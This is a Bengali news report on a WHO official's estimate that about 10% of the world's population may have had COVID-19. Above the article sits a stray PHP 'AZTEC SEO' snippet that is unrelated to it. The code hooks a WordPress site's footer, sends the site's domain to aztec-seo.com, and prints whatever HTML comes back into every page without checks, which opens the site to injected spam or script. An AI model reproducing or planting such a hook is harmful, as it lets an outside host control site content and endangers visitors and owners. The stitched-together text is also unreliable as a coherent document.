/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
মহামারী করোনাভাইরাস সারা বিশ্বে ছড়িয়ে প্রতি ১০ জনে হয়তো একজন করে আক্রান্ত হচ্ছেন। দক্ষিণপূর্ব এশিয়ার দেশগুলোতে ভাইরাসটি উদ্বেগজনক হারে বাড়ছে।
ইউরোপের কিছু কিছু অংশ এবং পূর্ব ভূমধ্যসাগরীয় অঞ্চলেও সংক্রমণ ও মৃত্যু বাড়ছে। কার্যত পুরো বিশ্বের বিশাল জনগোষ্ঠীকে বিপদের মধ্যে ফেলছে ভাইরাসটি।
গতকাল সোমবার এসব কথা বলেছেন বিশ্ব স্বাস্থ্য সংস্থার (ডব্লিউএইচও) শীর্ষ আপৎকালীন বিশেষজ্ঞ মাইক রায়ান। সংস্থার নির্বাহী পর্ষদের সঙ্গে আলাপকালে এ কথাগুলো তিনি বলেন।
রায়ান বলেন, আমরা এখন খুব কঠিন সময়ের দিকে এগিয়ে যাচ্ছি। এই রোগ এখনো ছাড়াচ্ছে। বিশ্বের বৃহৎ জনগোষ্ঠী এখনও মারাত্মক ঝুঁকির মধ্যে রয়ে গেছে।
করোনা নিয়ে আশঙ্কা প্রকাশ করে ডব্লিউএইচও‘র এ শীর্ষ আপৎকালীন বিশেষজ্ঞ বলেন, এখন পর্যন্ত আমাদের হাতে থাকা সব থেকে ভালো পরিসংখ্যান অনুযায়ী, হয়ত এরই মধ্যে বিশ্বের মোট জনসংখ্যার ১০ শতাংশ করোনাভাইরাসে আক্রান্ত হয়ে গেছেন। ভিন্ন ভিন্ন দেশে আক্রান্তের হার ভিন্ন, গ্রামে ও শহরে আক্রান্তের হার ভিন্ন, বয়স ভিত্তিতেও আক্রান্তের হার আলাদা।